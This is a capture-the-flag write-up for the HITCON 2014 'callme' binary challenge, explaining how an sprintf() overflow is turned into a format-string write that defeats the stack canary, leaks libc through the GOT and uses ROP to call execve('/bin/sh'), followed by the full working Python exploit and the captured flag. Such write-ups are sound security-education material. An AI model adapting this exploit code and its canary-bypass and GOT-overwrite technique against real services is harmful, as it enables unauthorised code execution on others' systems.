Hitcon CTF 2014: Callme (exploiting 350)
Summary: We exploit an sprintf() buffer overflow, overwrite the format string stored on the stack, use our new format string vulnerability to bypass the canary, and finally perform traditional ROP to get a shell.
In this challenge we are given a binary which will tell us it cannot currently take a call. We may instead leave a message. It will then read up to 0x400 bytes into a buffer on the data segment. Next it will copy those bytes into a buffer on the stack using sprintf(). This call is vulnerable as the destination buffer is only 0x80 bytes long.
The exploitation is complicated by the fact that SSP is on; there is a canary between the buffer and the saved return address. Before the canary is checked, the buffer will be sent back to us. But sprintf() is used, and it will always null terminate the string it writes, at which point the write will stop. So we cannot use this to leak anything. How will we get past the canary?
The format string for sprintf() is stored on the stack, in an older stack frame. We can make sprintf() overwrite its own format string while it is using it. Thus we can turn our buffer overflow into a format string vulnerability. In theory this sounds great; in practice, things get much more complicated. If we overwrite the next part of the format string with “AAAA”, sprintf will print “AAAA” into the format string. But then it will encounter the A’s it just wrote, and write them again, and so on. If our input was not too long it would eventually stop printing as it found a null byte, though. Now that we have a write primitive, we are ready for the actual exploitaiton.
Our exploit strategy was as follows: - Send enough bytes to exactly overwrite the “%s%s” format string on the stack, followed by a format string payload - Using the payload, we overwrite the LSB of __stack_chk_fail@got to redirect execution flow when it’s called - We also leak some bytes from the GOT while we’re at it - When __stack_chk_fail is called next, we will instead go to a leave; ret and we can now perform traditional ROP - We ROP into a function in the binary which reads in input. We will use it to overwrite (more of) the GOT. - Using the previously leaked memory, we can calculate the address of execve() in libc using offsets. We overwrite sprintf() with execve(). - We also place the string /bin/sh lower down on the data segment, to be used as an argument. - After the reading, we will return to a place where sprintf() is called with arguments we control. - We control the arguments since they’re ebp-relative, and we control ebp from a previous leave instruction.
Thus we get to call execve and spawn a shell. This works since standard file descriptors are already rewritten. The reason why we only overwrite a single byte with the format string vuln is that if we make the format string too long, we will go past the end of the stack and segfault.
The exploit is attached below. After testing the it locally we just changed two offsets, and surprisingly got a shell in the first attempt:
$ python exploit-callme-final.py
Got libc base: 0xf753a000L
cat /home/callme/flag
HITCON{D1d y0u kn0w f0rma7 57rin9 aut0m@ta?}
Note that the payloads used during different stages of the exploit overlap. The input we initially send to overwrite the format string also contains the stack we use for ROPing. Also the size argument to the read function has a double function as argument to the execve() call.
Feel free to leave questions or feedback below. – immerse
import socket, struct, sys, time, telnetlib
# exploit by immerse from Tasteless
# local offsets
#STRFTIME_OFFSET = 0xaf8a0
#EXECVE_OFFSET = 0xb90c0 #
# remote offsets
STRFTIME_OFFSET = 0xac2c0
EXECVE_OFFSET = 0xb55d0
s = socket.create_connection(("203.66.57.148", 9527))
#s = socket.create_connection(("localhost", 2323))
time.sleep(3.5)
s.recv(1024)
s.send("y\n")
time.sleep(0.5)
payload = "A"*131
payload += struct.pack("<I", 0x804a0bc) # saved ebp, points to custom stack at got after subtraction
payload += struct.pack("<I", 0x080487b4) # function which lets us read to the GOT
payload += "CCCC"
payload += "DDDD" # popped
payload += "EEEE"
payload += "FFFF"
payload += struct.pack("<I", 0x0804859f) # place to return later after second overwrite; here sprintf() is called
payload += struct.pack("<I", 0x804a02c) # addr to read into (note that arguments overlap a lot in our rop stack here)
payload += struct.pack("<I", 0x804a240) # num bytes to read (or to \n); also functions as null pointer pointer for execve
payload += struct.pack("<I", 0x804a240) # execve argument
payload += "KKKK"
payload += "FFFF" # popped
payload += "FFFF"
payload += "A"*(192-9 - len(payload)) + "BBCC" # overwrite %s%s with BBCC
payload += struct.pack("<I", 0x804a018) # addresses for later reference by direct parameter access
payload += struct.pack("<I", 0x0804a018)
payload += struct.pack("<I", 0x0804a00c)
payload += "GGGG"
payload += "%.191x" # make sure the byte we write with %hhn is \xc8
payload += "%59$x"
payload += "%60$hhn" # overwrite LSB of __stack_chk_fail
payload += "%60$s" # leak from the GOT
payload += "E"*(240 - len(payload))
payload += "\n"
s.send(payload)
time.sleep(1)
# raw_input("go on?") # for easier gdb attaching
resp = s.recv(1024)
index = resp.find("0000000000000000000") + 184 + 15
strftime_addr = resp[index:index+4]
strftime_addr = struct.unpack("<I", strftime_addr)[0]
libc_base = strftime_addr - STRFTIME_OFFSET
print "Got libc base:", hex(libc_base)
sys.stdout.flush()
assert libc_base & 0xfff == 000
execve_addr = libc_base + EXECVE_OFFSET
stack = ""
stack += struct.pack("<I", execve_addr)
stack += "/bin/sh"
stack += "\n"
s.send(stack)
# raw_input("second time: go on?")
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()